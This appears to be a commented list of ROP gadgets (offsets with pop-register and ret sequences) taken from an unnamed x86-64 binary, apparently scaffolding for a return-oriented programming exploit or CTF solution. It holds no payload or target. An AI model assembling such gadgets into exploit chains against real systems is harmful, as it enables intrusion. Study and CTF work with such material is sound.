# 0x0000000000020322 : pop rax ; pop rdx ; pop rbx ; ret
# 0x0000000000003516 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d4 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000000669d : pop rbp ; pop r12 ; pop r13 ; ret
# 0x00000000000021d1 : pop rbp ; pop r12 ; ret
# 0x0000000000003082 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000000351a : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000000054d8 : pop rbp ; pop r14 ; ret
# 0x0000000000002267 : pop rbp ; ret
# 0x0000000000025af1 : pop rbx ; pop r12 ; ret
# 0x00000000000054d3 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000000669c : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
# 0x00000000000021d0 : pop rbx ; pop rbp ; pop r12 ; ret
# 0x0000000000002266 : pop rbx ; pop rbp ; ret
# 0x0000000000003499 : pop rbx ; ret
# 0x0000000000003086 : pop rdi ; pop rbp ; ret
# 0x000000000000351e : pop rdi ; ret
# 0x000000000000e4bc : pop rdi ; ret 2
# 0x0000000000020323 : pop rdx ; pop rbx ; ret
# 0x0000000000003084 : pop rsi ; pop r15 ; pop rbp ; ret
# 0x000000000000351c : pop rsi ; pop r15 ; ret
# 0x00000000000054da : pop rsi ; ret
# 0x0000000000003080 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x0000000000003518 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d6 : pop rsp ; pop r13 ; pop r14 ; ret
# 0x000000000000669f : pop rsp ; pop r13 ; ret
# 0x00000000000021d3 : pop rsp ; ret